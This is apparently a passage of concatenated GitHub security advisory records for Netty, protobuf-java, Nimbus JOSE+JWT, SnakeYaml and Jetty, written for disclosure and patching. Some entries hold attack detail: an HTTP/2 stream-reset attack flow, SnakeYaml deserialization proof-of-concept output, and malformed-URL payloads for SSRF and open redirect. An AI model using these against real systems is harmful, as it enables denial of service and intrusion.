"name": "[cxf-dev] 20200206 [GitHub] [cxf] davidkarlsen opened a new pull request #638: upgrade guava, CVE-2018-10237",
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"url": "https://lists.apache.org/thread.html/r27eb79a87a760335226dbfa6a7b7bffea539a535f8e80c41e482106d%40%3Cdev.cxf.apache.org%3E"
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{
"name": "[cxf-dev] 20200206 [GitHub] [cxf] reta commented on a change in pull request #638: upgrade guava, CVE-2018-10237",
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{
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{
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{
"name": "[cxf-dev] 20200420 [GitHub] [cxf] coheigea commented on a change in pull request #638: upgrade guava, CVE-2018-10237",
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{
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{
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{
"name": "[syncope-dev] 20200423 Re: Time to cut 2.1.6 / 2.0.15?",
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"url": "https://lists.apache.org/thread.html/r43491b25b2e5c368c34b106a82eff910a5cea3e90de82ad75cc16540%40%3Cdev.syncope.apache.org%3E"
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{
"tags": [
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"url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
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{
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"tags": [
"mailing-list",
"x_refsource_MLIST"
],
"url": "https://lists.apache.org/thread.html/rc8467f357b943ceaa86f289f8bc1a5d1c7955b75d3bac1426f2d4ac1%40%3Ccommon-dev.hadoop.apache.org%3E"
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{
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"url": "https://www.oracle.com/security-alerts/cpujul2020.html"
},
{
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"url": "https://groups.google.com/d/topic/guava-announce/xqWALw4W1vs/discussion"
},
{
"name": "[flink-dev] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
"tags": [
"mailing-list",
"x_refsource_MLIST"
],
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb%40%3Cdev.flink.apache.org%3E"
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{
"name": "[flink-user] 20200806 Dependency vulnerabilities with Apache Flink 1.10.1 version",
"tags": [
"mailing-list",
"x_refsource_MLIST"
],
"url": "https://lists.apache.org/thread.html/r02e39d7beb32eebcdbb4b516e95f67d71c90d5d462b26f4078d21eeb%40%3Cuser.flink.apache.org%3E"
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{
"name": "[flink-dev] 20200806 [jira] [Created] (FLINK-18841) CVE-2018-10237 and CWE-400 occurred in flink dependency",
"tags": [
"mailing-list",
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GHSA-PRJ3-CCX8-P6X4
Vulnerability from github – Published: 2025-08-13 19:06 – Updated: 2025-11-05 20:38Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”
MadeYouReset Vulnerability Summary
The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.
Mechanism
The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: 1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) 2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) 3. PRIORITY frame with a length other than 5. (section 6.3) From our experience, the primitives are likely to exist in the decreasing order listed above. Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.
The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.
Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.
Attack Flow
For example, a possible attack scenario can be:
1. Attacker opens an HTTP/2 connection to the server.
2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X.
3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.
4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).
The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)
Comparison to Rapid Reset
The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.
Suggested Mitigations for MadeYouReset
A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.
As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.
If you have any questions, we will be happy to clarify or schedule a Zoom call.
Gal, Anat and Yaniv.
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"details": "Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as \u201cMadeYouReset.\u201d\n\n### MadeYouReset Vulnerability Summary\nThe MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.\n\n### Mechanism\nThe vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). \nThe vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are:\n1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1)\n2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it\u0027s possible a CONTINUATION frame to trigger that as well - but it\u0027s very rare). (Section 5.1)\n3. PRIORITY frame with a length other than 5. (section 6.3)\nFrom our experience, the primitives are likely to exist in the decreasing order listed above.\nNote that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we\u2019ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.\n\nThe vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. \nWhile the protocol does not count those streams as active, the server\u2019s backend logic still processes and handles the requests that were canceled.\n\nThus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.\n\n### Attack Flow\nFor example, a possible attack scenario can be: \n1. Attacker opens an HTTP/2 connection to the server.\n2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. \n3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.\n4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).\n\nThe attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server.\nThis leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)\n\n### Comparison to Rapid Reset\nThe vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors.\nThe Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5.\nRapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.\n\n### Suggested Mitigations for MadeYouReset\nA quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server.\nIt is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.\n\nAs mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.\n\n\nIf you have any questions, we will be happy to clarify or schedule a Zoom call.\n\nGal, Anat and Yaniv.",
"id": "GHSA-prj3-ccx8-p6x4",
"modified": "2025-11-05T20:38:22Z",
"published": "2025-08-13T19:06:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-prj3-ccx8-p6x4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://github.com/grpc/grpc-java/commit/6462ef9a11980e168c21d90bbc7245c728fd1a7a"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/be53dc3c9acd9af2e20d0c3c07cd77115a594cf1"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://www.kb.cert.org/vuls/id/767506"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/08/16/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Netty affected by MadeYouReset HTTP/2 DDoS vulnerability"
}
GHSA-735F-PC8J-V9W8
Vulnerability from github – Published: 2024-09-19 16:06 – Updated: 2025-09-10 20:53Summary
When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.
Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com
Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.
Severity
CVE-2024-7254 High CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.
Proof of Concept
For reproduction details, please refer to the unit tests (Protobuf Java LiteTest and CodedInputStreamTest) that identify the specific inputs that exercise this parsing weakness.
Remediation and Mitigation
We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: * protobuf-java (3.25.5, 4.27.5, 4.28.2) * protobuf-javalite (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) * protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) * com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)
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],
"aliases": [
"CVE-2024-7254"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-787"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T16:06:03Z",
"nvd_published_at": "2024-09-19T01:15:10Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.\n\nReporter: Alexis Challande, Trail of Bits Ecosystem Security Team \u003cecosystem@trailofbits.com\u003e\n\nAffected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n### Severity\n[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)\nThis is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.\n\n### Proof of Concept\nFor reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness.\n\n### Remediation and Mitigation\nWe have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages:\n* protobuf-java (3.25.5, 4.27.5, 4.28.2)\n* protobuf-javalite (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)\n* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)",
"id": "GHSA-735f-pc8j-v9w8",
"modified": "2025-09-10T20:53:03Z",
"published": "2024-09-19T16:06:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa"
},
{
"type": "WEB",
"url": "https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/protocolbuffers/protobuf"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20241213-0010"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250418-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "protobuf-java has potential Denial of Service issue"
}
GHSA-XWMG-2G98-W7V9
Vulnerability from github – Published: 2025-07-11 03:30 – Updated: 2025-09-19 21:31Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.
{
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],
"aliases": [
"CVE-2025-53864"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-11T16:43:40Z",
"nvd_published_at": "2025-07-11T03:16:03Z",
"severity": "MODERATE"
},
"details": "Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson.",
"id": "GHSA-xwmg-2g98-w7v9",
"modified": "2025-09-19T21:31:45Z",
"published": "2025-07-11T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://github.com/google/gson/commit/1039427ff0100293dd3cf967a53a55282c0fef6b"
},
{
"type": "PACKAGE",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/commits/f7fb882cc08f027c9ceb874acec3b51c6222861c"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/583/stackoverflowerror-due-to-deeply-nested"
},
{
"type": "WEB",
"url": "https://bitbucket.org/connect2id/nimbus-jose-jwt/issues/593/back-port-cve-2025-53864-fix-to-9x-branch"
},
{
"type": "WEB",
"url": "https://github.com/google/gson/compare/gson-parent-2.11.0...gson-parent-2.12.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Nimbus JOSE + JWT is vulnerable to DoS attacks when processing deeply nested JSON"
}
GHSA-MJMJ-J48Q-9WG2
Vulnerability from github – Published: 2022-12-12 21:19 – Updated: 2025-06-18 17:45Summary
SnakeYaml's Constructor class, which inherits from SafeConstructor, allows
any type be deserialized given the following line:
new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);
Types do not have to match the types of properties in the
target class. A ConstructorException is thrown, but only after a malicious
payload is deserialized.
Severity
High, lack of type checks during deserialization allows remote code execution.
Proof of Concept
Execute bash run.sh. The PoC uses Constructor to deserialize a payload
for RCE. RCE is demonstrated by using a payload which performs a http request to
http://127.0.0.1:8000.
Example output of successful run of proof of concept:
$ bash run.sh
[+] Downloading snakeyaml if needed
[+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE
nc: no process found
[+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.
[+] An exception is expected.
Exception:
Cannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0
in 'string', line 1, column 1:
payload: !!javax.script.ScriptEn ...
^
Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
in 'string', line 1, column 10:
payload: !!javax.script.ScriptEngineManag ...
^
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)
at org.yaml.snakeyaml.Yaml.load(Yaml.java:416)
at Main.main(Main.java:37)
Caused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
at java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
at java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)
at java.base/java.lang.reflect.Field.set(Field.java:780)
at org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)
... 9 more
[+] Dumping Received HTTP Request. Will not be empty if PoC worked
GET /proof-of-concept HTTP/1.1
User-Agent: Java/11.0.14
Host: localhost:8000
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Further Analysis
Potential mitigations include, leveraging SnakeYaml's SafeConstructor while parsing untrusted content.
See https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.
Timeline
Date reported: 4/11/2022 Date fixed: 30/12/2022 Date disclosed: 10/13/2022
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.33"
},
"package": {
"ecosystem": "Maven",
"name": "org.yaml:snakeyaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1471"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-12T21:19:47Z",
"nvd_published_at": "2022-12-01T11:15:00Z",
"severity": "HIGH"
},
"details": "### Summary\nSnakeYaml\u0027s `Constructor` class, which inherits from `SafeConstructor`, allows\nany type be deserialized given the following line:\n\nnew Yaml(new Constructor(TestDataClass.class)).load(yamlContent);\n\nTypes do not have to match the types of properties in the\ntarget class. A `ConstructorException` is thrown, but only after a malicious\npayload is deserialized.\n\n### Severity\nHigh, lack of type checks during deserialization allows remote code execution.\n\n### Proof of Concept\nExecute `bash run.sh`. The PoC uses Constructor to deserialize a payload\nfor RCE. RCE is demonstrated by using a payload which performs a http request to\nhttp://127.0.0.1:8000.\n\nExample output of successful run of proof of concept:\n\n```\n$ bash run.sh\n\n[+] Downloading snakeyaml if needed\n[+] Starting mock HTTP server on 127.0.0.1:8000 to demonstrate RCE\nnc: no process found\n[+] Compiling and running Proof of Concept, which a payload that sends a HTTP request to mock web server.\n[+] An exception is expected.\nException:\nCannot create property=payload for JavaBean=Main$TestDataClass@3cbbc1e0\n in \u0027string\u0027, line 1, column 1:\n payload: !!javax.script.ScriptEn ... \n ^\nCan not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager\n in \u0027string\u0027, line 1, column 10:\n payload: !!javax.script.ScriptEngineManag ... \n ^\n\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:291)\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:172)\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:332)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:230)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:220)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:174)\n\tat org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:158)\n\tat org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:491)\n\tat org.yaml.snakeyaml.Yaml.load(Yaml.java:416)\n\tat Main.main(Main.java:37)\nCaused by: java.lang.IllegalArgumentException: Can not set java.lang.String field Main$TestDataClass.payload to javax.script.ScriptEngineManager\n\tat java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)\n\tat java.base/jdk.internal.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)\n\tat java.base/jdk.internal.reflect.UnsafeObjectFieldAccessorImpl.set(UnsafeObjectFieldAccessorImpl.java:81)\n\tat java.base/java.lang.reflect.Field.set(Field.java:780)\n\tat org.yaml.snakeyaml.introspector.FieldProperty.set(FieldProperty.java:44)\n\tat org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:286)\n\t... 9 more\n[+] Dumping Received HTTP Request. Will not be empty if PoC worked\nGET /proof-of-concept HTTP/1.1\nUser-Agent: Java/11.0.14\nHost: localhost:8000\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\nConnection: keep-alive\n```\n\n### Further Analysis\nPotential mitigations include, leveraging SnakeYaml\u0027s SafeConstructor while parsing untrusted content.\n\nSee https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479 for discussion on the subject.\n\n### Timeline\n**Date reported**: 4/11/2022\n**Date fixed**: [30/12/2022](https://bitbucket.org/snakeyaml/snakeyaml/pull-requests/44)\n**Date disclosed**: 10/13/2022",
"id": "GHSA-mjmj-j48q-9wg2",
"modified": "2025-06-18T17:45:18Z",
"published": "2022-12-12T21:19:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true"
},
{
"type": "WEB",
"url": "https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240621-0006"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230818-0015"
},
{
"type": "WEB",
"url": "https://infosecwriteups.com/%EF%B8%8F-inside-the-160-comment-fight-to-fix-snakeyamls-rce-default-1a20c5ca4d4c"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/kubernetes-security-announce/c/mwrakFaEdnc"
},
{
"type": "WEB",
"url": "https://github.com/mbechler/marshalsec"
},
{
"type": "WEB",
"url": "https://confluence.atlassian.com/security/cve-2022-1471-snakeyaml-library-rce-vulnerability-in-multiple-products-1296171009.html"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/wiki/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64876314"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64634374"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in#comment-64581479"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/commits/acc44099f5f4af26ff86b4e4e4cc1c874e2dc5c4"
},
{
"type": "WEB",
"url": "https://bitbucket.org/snakeyaml/snakeyaml/commits/5014df1a36f50aca54405bb8433bc99a8847f758"
},
{
"type": "PACKAGE",
"url": "https://bitbucket.org/snakeyaml/snakeyaml"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/175095/PyTorch-Model-Server-Registration-Deserialization-Remote-Code-Execution.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2023/11/19/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "SnakeYaml Constructor Deserialization Remote Code Execution"
}
GHSA-QH8G-58PP-2WXH
Vulnerability from github – Published: 2024-10-14 21:11 – Updated: 2025-03-07 13:49Summary
Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, HttpURI, for URI/URL parsing.
The HttpURI class does insufficient validation on the authority segment of a URI. However the behaviour of HttpURI differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically HttpURI and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.
Details
Affected components
The vulnerable component is the HttpURI class when used as a utility class in an application. The Jetty usage of the class is not vulnerable.
Attack overview
The HttpURI class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI.
Attack scenario
A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI.
This attack occurs when the Validator is the org.eclipse.jetty.http.HttpURI class and the Requester is the Browser (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., http://browser.check%23%40vulndetector.com/ ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname vulndetector.com.
PoC
payloads:
http://browser.check &@vulndetector.com/
http://browser.check #@vulndetector.com/
http://browser.check?@vulndetector.com/
http://browser.check#@vulndetector.com/
http://vulndetector.com\\/
The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com".
<a href="http://browser.check#@vulndetector.com/"></a>
A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid).
| Invalid URI | Jetty | Chrome |
|---|---|---|
